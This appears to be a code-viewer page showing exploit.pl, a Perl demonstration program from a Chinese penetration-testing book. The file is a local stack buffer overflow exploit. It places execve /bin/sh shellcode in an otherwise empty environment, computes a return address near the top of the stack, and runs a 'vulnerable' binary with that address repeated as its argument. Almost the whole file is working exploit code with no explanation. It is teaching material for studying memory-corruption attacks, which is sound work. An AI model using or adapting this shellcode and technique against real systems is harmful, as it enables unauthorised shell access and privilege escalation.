exploit.pl
来自「栈溢出源码」· PL 代码 · 共 24 行
PL
24 行
#!/usr/bin/perl
#
# 《网络渗透技术》演示程序
# 作者:san, alert7, eyas, watercloud
#
# exploit.pl
# exploit program vulnerable
$shellcode =
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
$path="/home/bof_codes/linux/stack/vulnerable";
$ret = 0xbffffffc - (length($path)+1) - (length($shellcode)+1);
$new_retword = pack('l', $ret);
printf("[+] Using ret shellcode 0x%x\n",$ret);
%ENV=(); $ENV{CC}=$shellcode;
exec "$path",$new_retword x 8;
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?